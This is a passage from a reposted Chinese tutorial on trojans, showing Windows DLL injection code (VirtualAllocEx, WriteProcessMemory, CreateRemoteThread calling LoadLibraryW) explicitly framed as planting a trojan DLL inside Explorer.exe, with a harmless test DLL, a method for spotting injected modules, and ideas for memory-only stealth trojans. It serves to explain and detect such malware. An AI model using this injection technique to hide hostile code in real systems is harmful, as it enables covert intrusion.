快速业务通道

揭开木马的神秘面纱

作者 佚名技术 来源 程序设计 浏览 发布时间 2012-06-30
空间分配DLL文件名缓冲区

pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,

MEM_COMMIT, PAGE_READWRITE);

//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间

iReturnCode = WriteProcessMemory(hRemoteProcess,

pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

//计算LoadLibraryW的入口地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

说明一下,上面我们计算的其实是自己这个进程内LoadLibraryW的入口地址,但是因为kernel.dll模块在所有进程内的地址都是相同的(属于内核模块),所以这个入口地址同样适用于远程进程。

OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(我们复制到远程进程内存空间的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:

//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件

hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程

NULL, 0,

pfnStartAddr, //LoadLibraryW的入口地址

pszLibFileRemote, //木马DLL的全路径文件名

0, NULL);

至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL,这个DLL什么都不做,仅仅返回所在进程的PID:

BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{ char * szProcessId = (char *)malloc(10*sizeof(char));
switch (reason){
case DLL_PROCESS_ATTACH:{
//获取并显示当前进程ID
_itoa(GetCurrentProcessId(), szProcessId, 10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
}
default:
return TRUE;
}
}

当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。(木马已经成为Explorer.exe的一部分)

DLL木马的查找:查找DLL木马的基本思路是扩展进程列表至内存模块列表,内存模块列表将显示每个进程目前加载/调用的所有DLL文件,通过这种方法,我们能发现异常的DLL文件(前提是你对所有进程需要调用的模块都很熟悉,天哪,这几乎是没有可能的事,要知道随便哪个进程都会调用十七八个DLL文件,而Windows更是由数以千计的DLL所组成的,谁能知道哪个有用哪个没用?)对此,我写了一个内存模块查看软件,在http://www.patching.net/shotgun/ps.zip可以下载,该软件使用PSAPI,如果是NT4.0,需要PSAPI.dll的支持,所以我把PSAPI.dll也放在了压缩包里。

进一步想想,用远程线程技术启动木马DLL还是比较有迹可寻的,如果事先将一段代码复制进远程进程的内存空间,然后通过远程线程起动这段代码,那么,即使遍历进程内存模块也无济于事;或者远程线程切入某个原本就需要进行SOCKET操作的进程(如iExplorer.exe),对函数调用或数据进行某些有针对的修改……这样的木马并不需要自己打开端口,代码也只是存在于内存中,可以说如羚羊挂角,无迹可寻。

无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。

这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了用户进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号